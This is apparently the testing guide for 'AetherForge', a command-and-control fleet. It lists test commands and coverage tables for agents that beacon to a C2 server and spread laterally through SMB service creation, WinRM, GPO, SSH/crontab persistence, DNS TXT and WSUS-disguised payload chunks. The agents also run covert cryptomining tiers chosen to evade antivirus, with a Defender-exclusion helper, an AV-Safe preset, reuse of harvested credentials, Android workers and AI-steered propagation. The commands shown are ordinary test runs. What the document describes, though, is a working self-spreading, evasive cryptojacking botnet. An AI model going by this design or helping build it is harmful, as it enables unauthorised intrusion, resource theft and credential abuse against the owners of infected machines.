cd server\web && npm run test:e2e
```

### Fleet recon quick-run (P0 subset)

Matches `scripts/test-suite.ps1 -ReconOnly`:

```bat
cd server && go test ./internal/api/... -run "PathTracer|SpreadCred|MergeService|DeployPlan|SpreadRoute" -count=1
cd server && go test ./internal/spreadrouter/... -count=1
cd server && go test ./internal/db/... -run CredEdge -count=1
cd server && go test . -run "OrderDeploymentCred|LoadDeploymentCred" -count=1
cd agent && go test ./vulnprobe/... ./miner/... -run "TripleOnion|Correlate|VulnProbe|Risk" -count=1
cd agent && go test ./deploy/... -run "NetworkHints|ServiceDiscovery|CredSpread|Discover" -count=1
cd agent && go test ./client/... -run "Vuln|SpreadCred|ChainOrder" -count=1
cd server\web && npm run test -- --run src/help/reconRisk.test.ts src/components/Fleet/ReconBadges.test.tsx src/components/Fleet/CrucibleExpandedOps.test.tsx
```

## E2E only (server already running)

E2E credentials match `server/internal/api/integration_test.go` (`testuser` / `testpass`). Seed
`users.json` in the server data directory **before** first start, or the server generates a random
`admin` password instead.

```bat
set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
powershell -NoProfile -Command "[IO.File]::WriteAllText('data\\users.json','{\"testuser\":\"testpass\"}')"
set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npm run test:e2e
```

`test.bat` phase 8 seeds `users.json` automatically in a temp data dir. Override creds with
`AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` (used by Playwright, `test-suite.ps1`, and
`scripts/smoke-test.ps1`).

## Adding tests

- **Go:** `*_test.go` next to the code under test
- **Frontend:** `src/**/*.test.ts` (Vitest)
- **E2E:** `server/web/e2e/*.spec.ts` (Playwright)

All Go packages under `server/` and `agent/` are picked up automatically by `go test ./...` in
`scripts/test-suite.ps1`. Vitest discovers any `*.test.ts(x)` under `server/web/src/`.

## Priority tests (P0 / P1)

### P0 — security and command validation

| Test | What it validates | File | Phase |
|------|-------------------|------|-------|
| `TestIntegrationRouterCommandFullRoundTrip` | API `POST /command` → agent WS → `command_result` → dashboard WS | `server/internal/api/integration_test.go` | 1 |
| `TestAllowAgentWSUpgradeRateLimit` | 31st `/ws/agent` upgrade from same IP within 1 min rejected; empty IP allowed | `server/internal/api/agent_ws_limiter_test.go` | 1 |
| Crucible exec E2E | Online stub agent; **whoami** and terminal **echo** on `/crucible` | `server/web/e2e/crucible-command.spec.ts` | 8 |
| Crucible LOTL E2E | Stub **LOTL tier badge** on Crucible + **Onion timeline** tier chain | `server/web/e2e/crucible-lotl.spec.ts` | 8 |
| LOTL Timeline E2E | `/lotl-timeline` 14-tier chain, fleet overview, clearance/court/AI panels (mocked REST) | `server/web/e2e/lotl-timeline.spec.ts` | 8 |
| Discover→spread E2E | Crucible **Probe & Join** → `discover_and_join` POST + stub join_lane ack in Access Depth | `server/web/e2e/discover-spread.spec.ts` | 8 |
| `TestPathForgeRootPathOutsideAllowedRoots` | PathForge `root_path` outside allowlist → HTTP 400, `Placed=0` | `server/internal/builder/pathforge_test.go` | 1 |
| `TestUploadCommandRejectsPathTraversal` | Agent `upload` blocks `../../` via `ResolveRemotePath` | `agent/client/client_upload_test.go` | 2 |

### P1 — additional hardening

| Test | What it validates | File | Phase |
|------|-------------------|------|-------|
| `TestDownloadCommandRejectsPathTraversal` | Agent `download` (read) blocks traversal paths like upload | `agent/client/client_upload_test.go` | 2 |

### P1 — file handling + bot/AI commands (2026-06-07)

| Test | What it validates | File | Phase |
|------|-------------------|------|-------|
| `TestUploadCommandRejectsPathTraversal` / `TestDownloadCommandRejectsPathTraversal` | 10 traversal variants (`..`, `~/..`, `@desktop/..`, `desktop:..`, mixed separators) on upload + download | `agent/client/client_upload_test.go` | 2 |
| `TestResolveRemotePathRejectsTraversalVariants` | Same traversal matrix at `deploy.ResolveRemotePath` layer | `agent/deploy/desktop_path_test.go` | 2 |
| `TestReadFileCommandRejectsOversize` / `TestReadFileCommandAcceptsWithinCap` | `read_file` 512 KiB cap (`maxReadFileBytes`) | `agent/client/file_ops_common_test.go` | 2 |
| `TestAgentConfigFileUploadReadRoundTrip` | Config JSON upload → `read_file` round-trip on agent | `agent/client/file_ops_common_test.go` | 2 |
| `TestHandleAISpreadNowWhenEnabled` / `TestHandleAIRestartMining` / `TestHandleAIFullSysCheck` | Fleet AI `ai_commands` handlers (spread, mining restart, syscheck JSON) | `agent/client/ai_commands_test.go` | 2 |
| `TestValidateAICommandPathRejectsTraversal` / `TestHandleAIExecShellRejectsTraversalPath` | `exec_shell` working-directory path guard | `agent/client/ai_commands_test.go` | 2 |
| `TestServeAgentBinaryDownload*` / `TestFindAgentBinary*` | `/api/download/agent-{windows,mac,linux}` binary lookup + HTTP stream | `server/internal/api/download_handler_test.go` | 1 |
| `TestDownloadBuildArtifact*` / `TestDownloadBuildArtifactAPK` | Build `/download`, `/artifact/{name}` for fusion zip + APK | `server/internal/builder/handler_serve_test.go` | 1 |
| `TestDropperServeGetPrefersBundleArtifact` / `TestResolveDropperArtifact` | Dropper `/get` prefers fusion bundle over launcher | `server/internal/api/dropper_handler_test.go` | 1 |
| `TestApkAssetPathsMatchBinaryExtractor` | Go builder writes `assets/agent` + `config.json` matching `BinaryExtractor.kt` / `AgentConfig.kt` | `server/internal/builder/build_apk_test.go` | 1 |
| `TestWriteApkConfigJSONFilePermissions` | APK `config.json` 0644 + assets dir 0755 (POSIX; skipped on Windows umask) | `server/internal/builder/handler_serve_test.go` | 1 |

Quick run (file-handling sweep):

```bat
cd agent && go test ./client/... -run "Upload|AI|Command|File" -count=1
cd server && go test ./internal/builder/... ./internal/api/... -run "Download|Upload|Dropper|Artifact" -count=1
```

**Note:** The broad agent filter also matches unrelated integration tests (`TestWSBeaconIntegration*`, `TestHandleAggressiveCommand*`). Tight subset:

```bat
cd agent && go test ./client/ -run "TestUpload|TestDownloadCommand|TestHandleAI|TestValidateAI|TestReadFile|TestAgentConfig|TestContainsPath|TestResolveList" -count=1
cd agent && go test ./deploy/ -run "ResolveRemotePath|RemotePath" -count=1
```

Run PathForge + Path Tracer tests quickly:

```bat
cd server && go test ./internal/builder/... -run PathForge -count=1
cd agent && go test ./client/... -run "PathTracer|PathForge|Wg|WG|AllowRemoteActionPathTracer|HandleAggressiveCommandWg|HandleAggressiveCommandService" -count=1
cd server\web && npm run test -- --run src/pages/BuilderPage.test.tsx
```

Note: PathForge `skipped` counter is returned by the API (`PathForgeResult.skipped`) but not rendered in BuilderPage yet — Go tests cover the counter; Vitest verifies placement summary only.

Run P0 Go tests quickly:

```bat
cd server && go test ./internal/api/... -run "TestIntegrationRouterCommandFullRoundTrip|TestAllowAgentWSUpgradeRateLimit" -count=1
cd server && go test ./internal/builder/... -run TestPathForgeRootPathOutsideAllowedRoots -count=1
cd agent && go test ./client/... -run "Upload|Download" -count=1
```


Run Crucible P0 E2E only (needs a live server on `AETHERFORGE_URL`, default `:8989`; `test-suite.ps1` phase 8 uses `:18989`):

```bat
set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npx playwright test e2e/crucible-command.spec.ts e2e/crucible-lotl.spec.ts
```

Run P2 LOTL timeline + discover→spread E2E (live server required — `test.bat` phase 8 seeds `:18989`):

```bat
set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
set AETHERFORGE_URL=http://127.0.0.1:18989
cd server\web && npx playwright test e2e/lotl-timeline.spec.ts e2e/discover-spread.spec.ts --reporter=line
```

`lotl-timeline.spec.ts` — navigates `/lotl-timeline`, asserts the 14-tier onion chain, fleet overview chips, clearance/court panel smoke (mocked `GET /ai/clearance-events` + court decision), and AI decision panel when `ai_control_enabled` is mocked. Uses `ensureLiveStubAgent` + `loginToDashboard`.

`discover-spread.spec.ts` — Crucible **Probe & Join** on the spread tab; asserts `POST /api/v1/agents/{id}/command` with `discover_and_join`. Multi-hop case uses `discover-spread-stub.ts` (separate WS agent) to acknowledge the command and push `join_lane: dns_txt` stats — validates UI wiring, not real SMB spread.

`e2e/fixtures.ts` exports `waitForServerHealth()` — polls `/api/v1/health` for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets `AETHERFORGE_FLEET_SECRET` from `data/config.json` (regex parse — avoids PowerShell duplicate-key JSON issues) and `AETHERFORGE_E2E=1` on the server so online stub agents get L3 shell clearance for exec/whoami round-trips.

`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (Crucible prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in `.cop-mining` and bulk Pause in `.fleet-bulk-bar` when only an offline agent is selected.

Run remote-actions only (no stub agent; mocks offline fleet via WS):

```bat
set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npx playwright test e2e/remote-actions.spec.ts
```

## Coverage map (recent features)

| Feature | Test file(s) | Suite phase |
|---------|----------------|-------------|
| P0 command round-trip (integration) | `server/internal/api/integration_test.go` | 1 |
| P0 agent WS rate limit | `server/internal/api/agent_ws_limiter_test.go` | 1 |
| P0 PathForge root rejection | `server/internal/builder/pathforge_test.go` | 1 |
| PathForge cancel / concurrent / skipped counter | `server/internal/builder/pathforge_test.go` | 1 |
| Path Tracer wg_setup + discover routing | `agent/client/aggressive_commands_test.go`, `pathtracer_stub_test.go` | 2 |
| Path Tracer Windows helpers + WG idle paths | `agent/client/pathtracer_windows_test.go` (windows tag) | 2 |
| Path Forge + cancel UI | `server/web/src/pages/BuilderPage.test.tsx` (Kill Build, path-forge submit/busy) | 4 |
| P0 Crucible exec E2E | `server/web/e2e/crucible-command.spec.ts` | 8 |
| P0 Crucible LOTL badge + Onion timeline E2E | `server/web/e2e/crucible-lotl.spec.ts` | 8 |
| P2 LOTL Timeline E2E (14-tier + AI/court/clearance smoke) | `server/web/e2e/lotl-timeline.spec.ts` | 8 |
| P2 discover→spread E2E (Probe & Join + join_lane stub) | `server/web/e2e/discover-spread.spec.ts`, `discover-spread-stub.ts` | 8 |
| Calibrate AI Control toggle E2E | `server/web/e2e/pages.spec.ts` (Logic gates / AI Control smoke) | 8 |
| P0 upload path traversal (P1 download) | `agent/client/client_upload_test.go` | 2 |
| Cascading fallback chain | `agent/miner/fallback_chain_test.go` | 2 |
| Container mining / execution mode | `agent/miner/execution_test.go` | 2 |
| Mining diagnostics JSON + blockers | `agent/client/mining_diagnostics_test.go` | 2 |
| Mining chain order hooks | `agent/client/mining_chain_test.go` | 2 |
| **MiningChainRunner lifecycle** (construction, start/stop/cooldown, triple-onion ordering, tier hooks, onion/tier payloads, disabled/apk skip, failure advance, exhausted) | `agent/client/mining_chain_lifecycle_test.go` | 2 |
| Chain cooldown / inprocess skips container | `agent/miner/fallback_chain_test.go` | 2 |
| Stats batch WS coalescing | `server/internal/api/websocket_test.go`, `ws_beacon_integration_test.go` | 1 |
| Agents API pagination + subnet | `server/internal/db/agents_list_test.go`, `server/internal/api/handlers_test.go` | 1 |
| Mining status relay (`mining_status` / `mining_fallback`) | `server/internal/api/websocket_test.go` | 1 |
| Agent name preserved on reconnect | `server/internal/api/websocket_test.go`, `ws_beacon_integration_test.go` | 1 |
| `applyStatsUpdate` / `stats_batch` mining fields | `server/web/src/help/applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 |
| Fleet → Crucible redirect | `server/web/src/pages/AgentsPage.test.tsx`, `e2e/pages.spec.ts` | 4 / 8 |
| Crucible terminal `_seq` cursor | `server/web/src/pages/CruciblePage.test.tsx` | 4 |
| CrucibleAgentMeta / bulk toolbar | `CrucibleAgentMeta.test.tsx`, `CruciblePage.test.tsx` | 4 |
| Defender exclusion helper | `server/web/src/help/defenderExclusion.test.ts` | 4 |
| AV-Safe forge preset | `forgeOperationModes.test.ts`, `forgeMissionWizard.test.ts` | 4 |
| Forge progress polling | `server/web/src/pages/BuilderPage.test.tsx` | 4 |
| Emberwake pinA/pinB ref fix | `server/web/src/pages/EmberwakePage.test.tsx` | 4 |
| Mining status in AgentRemoteActions | `server/web/src/components/components.test.tsx` | 4 |
| PathTracerPage (12 tests) | `server/web/src/pages/PathTracerPage.test.tsx` | 4 |
| SystemStatusBar WS fleet count | `server/web/src/components/components.test.tsx` | 4 |
| WebSocket `stats_batch` handler | `server/web/src/context/WebSocketProvider.test.tsx` | 4 |
| Remote action wiring (`mining_diagnostics`) | `server/web/src/help/remoteActions.test.ts` | 4 |

### Fleet recon (2026-06-06 parallel agents)

| Feature | Test file(s) | Suite phase |
|---------|----------------|-------------|
| `vuln_findings` + CVE correlate | `agent/vulnprobe/scan_test.go`, `agent/client/vuln_scan_test.go`, `agent/client/cve_scan_test.go` | 2 |
| `cred_edges` + affinity spread | `server/internal/db/cred_edges_test.go`, `server/deployment_creds_test.go`, `server/internal/api/spread_cred_test.go`, `agent/client/spread_cred_test.go` | 1 / 2 |
| `service_graph` + join_lane mapping | `agent/deploy/service_discovery_test.go`, `server/internal/api/pathtracer_discover_test.go` | 1 / 2 |
| `discover_and_join` deploy plan | `server/internal/api/pathtracer_discover_test.go`, `agent/deploy/discover_join_test.go`, `service_deploy_test.go` | 1 / 2 |
| Triple onion gates (`patch_first`, `skip_mining_on_high_risk`) | `agent/miner/triple_onion_test.go` (`TestEvaluateTripleOnionGates*`, `TestTripleOnionOrchestrator*`), `server/internal/api/server_policy_test.go` | 1 / 2 |
| Deployment cred vault + affinity | `server/deployment_creds_test.go` (`TestOrderDeploymentCredProfiles_Affinity`, `TestLoadDeploymentCredPasswordFromVault`) | 1 |
| CVE / KEV client correlate | `agent/client/cve_scan_test.go`, `agent/client/vuln_scan_test.go` | 2 |
| Vuln catalog API | `server/internal/api/vuln_handler_test.go`, `server/internal/vuln/correlator_test.go` | 1 |
| `network_hints` (ARP, DNS SRV, cert) | `agent/deploy/network_hints_test.go` | 2 |
| Path Tracer API extensions (discover, spread, service merge) | `server/internal/api/pathtracer_handler_test.go`, `pathtracer_discover_test.go` | 1 |
| Spread router (BGP-style min-clearance routes) | `server/internal/spreadrouter/router_test.go`, `pathtracer_handler_test.go` (`SpreadRoute`), `deploy_plan_test.go`, `discover_join_test.go` (`SpreadRouteHint`) | 1 / 2 |
| Risk badge + `reconRisk` helpers | `server/web/src/help/reconRisk.test.ts`, `ReconBadges.test.tsx` | 4 |
| Credential graph table (Spread tab) | `ReconBadges.test.tsx` (`CredentialGraphTable`) | 4 |
| Probe & Join (`discover_and_join`) | `CrucibleExpandedOps.test.tsx` (`Probe & Join` button → `discover_and_join`) | 4 |
| Crucible bulk pause/resume E2E | `server/web/e2e/crucible-bulk.spec.ts` | 8 |
| Fleet bulk actions hook | `server/web/src/hooks/useFleetBulkActions.test.ts` | 4 |
| War Room LOTL/join-lane telemetry | `server/web/src/help/warRoomTelemetry.test.ts` | 4 |
| Spread template export panel | `server/web/src/help/spreadTemplateExport.test.ts`, `SpreadTemplateExportPanel.tsx` | 4 |

### Fleet intelligence (2026-06-07 parallel agents)

| Feature | Test file(s) | Suite phase |
|---------|----------------|-------------|
| Phenotype publish + sibling inherit | `server/internal/api/phenotype_test.go`, `server/internal/db/phenotype_test.go`, `agent/client/phenotype_policy_test.go` | 1 / 2 |
| Failure atlas subtree skip | `server/internal/atlas/failure_atlas_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 |
| Singular Machine Court | `server/internal/ai/court_prompt_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 |
| Clearance L0–L4 enforcement | `server/internal/clearance/clearance_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 |
| Access Depth phenotype + clearance badge | `AccessDepthPanel.test.tsx`, `clearance.test.ts` | 4 |
| LOTL Timeline atlas skip + cloned-from | `lotlTimeline.test.ts`, `LotlTierTimeline.test.tsx` | 4 |
| Court decision UI | `LotlTimelinePage.test.tsx` | 4 |
| AI snapshot phenotype/atlas/clearance | `agent/client/ai_snapshot_test.go` | 2 |
| Service graph summary UI | `CrucibleExpandedOps.test.tsx` (mocked `ServiceGraphSummary`) | 4 |
| `vuln_findings` / `join_lane` WS stats merge | `applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 |
| Emberwake `join_lane` funnel tag | `ReconBadges.test.tsx` (`JoinLaneBadge`), `WarRoomFunnelBoard.tsx` | 4 |
| `vuln_probe` recon tier in mining chain | `agent/miner/tier_vuln_probe_test.go`, `mining_chain_test.go` | 2 |

### P1 — LOTL tiered mining (onion feature set)

| Test | What it validates | File | Phase |
|------|-------------------|------|-------|
| `TestSelectMiningTierChain*` | Diagnostics-driven tier chain order, AV/GPU/WSL pruning, force/skip tiers | `agent/miner/lotl_tier_test.go` | 2 |
| `TestTierOrchestrator*` | Sequential tier attempts, wallet parity, GPU addon gating, tier_report events | `agent/miner/lotl_orchestrator_test.go`, `lotl_tier_test.go` | 2 |
| `TestTryChainRunTierHooksPopulatesLOTLFields` | Fallback chain ↔ tier orchestrator integration | `agent/miner/fallback_chain_test.go` | 2 |
| `TestDefaultFallbackChain*` / launcher tests | powershell, dotnet, wsl, docker_load, container execution tiers | `agent/miner/*_launcher_test.go`, `fallback_chain_test.go` | 2 |
| `TestRunWMITier*` / `TestRunScheduledTaskTier*` / `TestRunGPUComputeTier*` / `TestRunWebView2Probe*` | Windows/Linux execution tiers with mocked binaries | `agent/miner/tier_*_test.go` | 2 |
| `TestAppendLinuxPyOpenCL*` | linux_pyopencl tier insertion | `agent/miner/pyopencl_test.go` | 2 |
| `TestApplyAuthLotlPolicy*` / `TestMiningTierPolicy*` | Server-pulled mining tier policy from auth | `agent/client/mining_policy_test.go` | 2 |
| `TestMiningDiagnostics*` / `TestInferMiningBlockers*` | Diagnostics JSON + tier chain fields + blockers | `agent/client/mining_diagnostics_test.go` | 2 |
| `TestChainOrderForConfig*` | Client mining chain order hooks | `agent/client/mining_chain_test.go` | 2 |
| `TestMiningChainRunner*` / `TestMiningChainSkips*` | Full `MiningChainRunner` lifecycle: `newMiningChainRunner`, start/stop/cooldown, recon→deploy→mining ordering, container/inprocess/GPU hooks (mock runtime), `onion_report`/`tier_report` payload shape, `lotl_attempts` merge, mining disabled/apk skip, tier failure advance, exhausted chain | `agent/client/mining_chain_lifecycle_test.go` | 2 |
| `TestNormalizeLotlTiers*` / `TestTryLotlTier*` | Spread onion tier normalization + unix stub tiers | `agent/deploy/lotl_tiers_test.go`, `lotl_onion_stub_test.go` | 2 |
| `TestStagingRejectsPathTraversal*` / `TestVerifyFileSHA256*` | BITS/curl/certutil staging path hygiene + hash verify | `agent/deploy/staging_test.go` | 2 |
| `TestValidateUNCSpreadPath*` / `TestSMBUNCSvcName*` | SMB sc.exe spread helpers | `agent/deploy/smb_unc_spread_test.go` | 2 |
| `TestDoPeer*` / do_peer staging | DoSvc shadow cache handoff — hash verify + launch | `agent/deploy/do_peer_staging_test.go` | 2 |
| `TestDNS*` / dns_txt staging | DNS TXT shard assembly + SHA256 verify | `agent/deploy/dns_txt_staging_test.go` | 2 |
| `TestWebRTCMesh*` | WebRTC mesh manifest receive (mock channel) | `agent/deploy/webrtc_mesh_test.go` | 2 |
| `TestWSUSCachePeer*` / `TestWrapSSUHeaderRoundTrip` / `TestWSUSCachePeerAssembleFormatMimicRoundTrip` | WSUS cache cousin staging + SSU/CAB format-mimic wrap/unwrap roundtrip | `agent/deploy/wsus_cache_peer_staging_test.go` | 2 |
| `TestWrapWSUSChunkPayloadRoundTrip` / `TestBuildPlanWSUSCachePeerLaneFormatMimicOff` | Server `/get?wsus_wrap=1` envelope + deploy-plan `*.cab.partial` chunk names | `server/internal/api/wsus_format_mimic_test.go`, `deploy_plan_test.go` | 1 |
| Deploy plan spread lanes | do_peer / dns_txt / webrtc_mesh / wsus_cache_peer signed plans | `server/internal/api/deploy_plan_test.go`, `agent/deploy/discover_join_test.go`, `server/internal/api/service_deploy_test.go` | 1 / 2 |
| Join lane labels (do_peer, dns_txt, webrtc, wsus) | Crucible/Emberwake badge copy | `server/web/src/help/reconRisk.test.ts`, `ReconBadges.test.tsx` | 4 |
| `TestMiningStatusRelayCoalescedToStatsBatch` | `mining_hashrate`, `lotl_tier`, `lotl_attempts` in stats_batch | `server/internal/api/websocket_test.go` | 1 |
| `TestStatsBatchCoalescesSameAgent` | Same-agent coalesce preserves LOTL fields | `server/internal/api/websocket_test.go` | 1 |
| `TestAgentLotlFieldsJSONRoundTrip` | Agent model JSON exposes tier telemetry | `server/internal/models/agent_test.go` | 1 |
| `TestApplyLotlOnionPreset` / `TestNormalizeLotlOnionTiers` | Fusion/builder LOTL Onion preset | `server/internal/builder/lotl_onion_test.go` | 1 |
| `applyStatsUpdate` / `wsStatsCoalesce` LOTL fields | `lotl_tier`, `lotl_attempts`, `mining_hashrate` merge | `server/web/src/help/applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 |
| `LotlTierBadge` / `LotlAttemptsList` | Crucible tier badge + attempt list UI | `server/web/src/components/Fleet/LotlTierBadge.test.tsx` | 4 |
| `WebSocketProvider` stats_batch LOTL | Dashboard WS applies tier fields | `server/web/src/context/WebSocketProvider.test.tsx` | 4 |
| Forge LOTL Onion preset UI | `applyOperationMode('lotl_onion')` flags | `server/web/src/help/forgeOperationModes.test.ts` | 4 |
| LOTL onion tier docs | 14-tier spread chain constants (sync with `DefaultLotlOnionTiers`) | `server/web/src/help/lotlOnionTiers.test.ts`, `agent/deploy/lotl_tiers_test.go`, `server/internal/builder/lotl_onion_test.go` | 2 / 4 |
| Fleet health bulk pause/resume | Bulk command framing + toolbar wiring | `server/internal/api/fleet_handler_test.go`, `components.test.tsx` | 1 / 4 |
| `TestRegistrationPlatformFromEnv` / `TestAuthPayloadPlatformFromEnv` | APK wrapper `AETHERFORGE_PLATFORM=android` → auth `platform` | `agent/config/platform_test.go`, `agent/client/protocol_test.go` | 2 |
| `TestSelectMiningTierChainAndroid` | Shortened foreground → in-process tier chain | `agent/miner/lotl_tier_test.go` | 2 |
| `buildAccessDepthModel android` / `buildLotlTimelineModel android` | Android probes + 3-step onion timeline | `server/web/src/help/accessDepth.test.ts`, `lotlTimeline.test.ts`, `platform.test.ts` | 4 |

### APK fleet node mode

Android workers are embedded Go binaries launched by the APK Java wrapper. Before spawn the wrapper sets:

- `AETHERFORGE_SERVER_URL` — C2 base URL
- `AETHERFORGE_WORKER_NUMBER` — fleet worker slot (shown in AI snapshots)
- `AETHERFORGE_PLATFORM=android` — registration label (overrides `runtime.GOOS=linux`)

Optional probe env vars for Access Depth (`environment_probes`):

- `AETHERFORGE_WIFI_CONNECTED=1`
- `AETHERFORGE_BATTERY_OK=1`
- `AETHERFORGE_FOREGROUND_SERVICE=1`

Forge may also bake `ApkMode` and `ScoutMode` (`-ldflags` / builder preset) so registration reports `platform=android` without runtime env. **Scout mode** (`scout_mode: true`) keeps mining off, runs `discover_and_join` + `service_graph` only, pushes phenotype via `scout_report`, and never stages spread payloads.

Persona spread temperament (`server.ai_persona`) maps aggressive/silent/passive/persuasive/balanced to default spread tier order hints. When `ai_control_enabled` is on, auth and `policy_update` push `spread_temperament` (adaptive_strategy shape) and `FleetAISnapshot` merges it for the scheduler — AI shapes propagation personality, not just restarts.

Quick run:

```bat
cd agent && go test ./config/... ./client/... ./miner/... -run "RegistrationPlatform|AuthPayloadPlatform|SelectMiningTierChainAndroid" -count=1
cd server\web && npm test -- --run src/help/platform.test.ts src/help/accessDepth.test.ts src/help/lotlTimeline.test.ts
```

Crucible shows 🤖 for Android roster rows; Access Depth uses Wi-Fi / battery / foreground-service probe chips and a 2-tier mining onion (desktop tiers listed as skipped).

Run LOTL Go tests quickly:

```bat
cd agent && go test ./miner/... ./client/... ./deploy/... -run "Lotl|LOTL|Tier|Staging|Fallback|Mining|PyOpenCL|WMI|WebView|GPUCompute|Scheduled|UNC" -count=1
cd server && go test ./internal/api/... ./internal/builder/... ./internal/models/... -run "Lotl|LOTL|Tier|StatsBatch|Mining" -count=1
cd server\web && npm test -- --run src/help/lotlOnionTiers.test.ts src/components/Fleet/LotlTierBadge.test.tsx src/help/applyStatsUpdate.test.ts src/context/WebSocketProvider.test.tsx
```

### P2 — spread lanes (mock/inject; no real remote hosts)

| Test | What it validates | File | Phase |
|------|-------------------|------|-------|
| `TestCurlStagingAssemblyWithInject` / `TestBITSStagingAssemblyWithInject` | `stage_fetch` / `RunStagingChain` chunk assembly, SHA256 verify, injectable BITS/curl hooks | `agent/deploy/staging_chain_test.go` | 2 |
| `TestStageFetchEmptyURLRejected` / `TestStageFetchSHA256MismatchRejected` / `TestStageFetchDownloaderErrorPropagates` | Staging manifest error handling (empty URL, hash mismatch, downloader failure) | `agent/deploy/staging_chain_test.go` | 2 |
| `TestRunStagingChainWindowsOnlyStub` | Non-Windows `RunStagingChain` returns explicit Windows-only error | `agent/deploy/staging_stub_test.go` | 2 |
| `TestWinRMEncodePowerShellRoundTrip` / `TestWinRMSpreadScriptMarkers` | WinRM encoded bootstrap script shape (`--spread-install`, `--defer-mining`) | `agent/deploy/winrm_spread_test.go` | 2 |
| `TestSystemdLinuxLOTLLane*` / `TestTryLotlTierLinuxLOTLLane` | Linux LOTL `sshSpread*` commands + systemd/crontab persist stubs | `agent/deploy/linux_lotl_test.go` | 2 |
| `TestDOPeerRejectsPathTraversal` / `TestWSUSCachePeerRejectsPathTraversal` / `TestDNSTXTRejectsPathTraversal` | Staging path hygiene for `do_peer`, `wsus_cache_peer`, `dns_txt` lanes | `agent/deploy/do_peer_staging_test.go`, `wsus_cache_peer_staging_test.go`, `dns_txt_staging_test.go` | 2 |
| `TestWSUSCachePeerAssembleFormatMimicRoundTrip` | WSUS staging roundtrip: wrapped `*.cab.partial` chunk → unwrap → SHA256 verify | `agent/deploy/wsus_cache_peer_staging_test.go` | 2 |
| `TestPickDeployLaneGPO` / `TestPickDeployLaneWinRM` / `TestPickDeployLaneLinuxLOTL` | Service discovery → join lane dispatch (GPO, WinRM, linux_lotl) | `server/internal/api/service_deploy_test.go` | 1 |
| `TestDeployPlanWinRMLane` / `TestDeployPlanGPOLane` / `TestDeployPlanLinuxLOTLLane` | Signed deploy plan script rendering from spread templates | `server/internal/api/spread_lanes_test.go` | 1 |
| `TestExportSpreadTemplateGPO` / `TestExportSpreadTemplateLinuxLOTL` / `TestExportSpreadTemplateWinRMMarkers` | Spread handler ZIP export shape + template marker replacement | `server/internal/api/spread_handler_test.go` | 1 |
| `TestSpreadTemplateRejectsUnknownLane` / `TestSpreadTemplateRequiresServerURL` | Spread template export payload validation | `server/internal/api/spread_handler_test.go` | 1 |
| `TestStageFetchAllowRemoteAction` / `TestStageFetchRejectsBadManifestJSON` | Agent `stage_fetch` clearance gate + bad manifest JSON | `agent/client/stage_fetch_test.go` | 2 |

Quick run (matches `PROBLEMS.md` P2 spread-lane subset):

```bat
cd agent && go test ./deploy/... ./client/... -run "BITS|Curl|WinRM|GPO|systemd|Stage|spread" -count=1
cd server && go test ./internal/api/... -run "Spread|Deploy|Service" -count=1
```

**Still P2 (honest gaps):** live Docker/Podman start, real WinRM/GPO/systemd/crontab on remote hosts, live BITS/curl on target OS, live multi-hop discover→spread E2E (stub Playwright only), Path Forge cancel/batch race UI.

### Gaps (hard to unit-test)

- **Real Docker/Podman container start** — requires OCI runtime on host; covered by chain logic mocks only.
- **`DetectContainerRuntime` CLI probe** — depends on `exec.LookPath`; execution mode tests use `SetRuntimeDetector` inject instead.
- **Live pool + GPU binary on host** — `MiningChainRunner` lifecycle covered in `mining_chain_lifecycle_test.go` with mock container exec + injected hooks; no live Docker daemon or T-Rex download required.
- **Real WinRM/GPO/systemd/crontab spread execution** — requires elevated Windows domain or Linux init; template export + lane dispatch covered in P2 tests above.
- **Real BITS/curl/certutil download** — network + OS tooling; injectable staging hooks in `staging_chain_test.go` cover assembly without live transfers.
- **E2E Crucible lotl_tier badge** — covered in `crucible-command.spec.ts` (stub sends `lotl_tier` + `lotl_attempts` via WS `stats`; requires live server — phase 8 or `AETHERFORGE_URL`).
- **Playwright fleet recon flow** — Probe & Join POST + stub join_lane ack in `discover-spread.spec.ts`; real lateral spread execution still not E2E.

### Agent logs (not a missing API)

- **`get_log` command** — Fleet Roster → Remote Control → Fetch Log (or `GET /api/v1/agents/{id}/log?refresh=1` triggers the command and returns cached tail)
- **`upload_log` AI tool** — when AI autonomy is enabled, the agent reports log content via `/api/v1/agent/report` after an Ollama tool call

Unit tests cover `AgentRemoteActions` offline gating and mining live-stats in `components.test.tsx`; Playwright `e2e/remote-actions.spec.ts` mocks an offline agent and asserts disabled buttons.

### Frontend types (`types/index.ts`)

TypeScript interfaces in `server/web/src/types/` are compile-time contracts only — no runtime JSON schema guards. Validation lives in forms, forge preflight, and server-side handlers.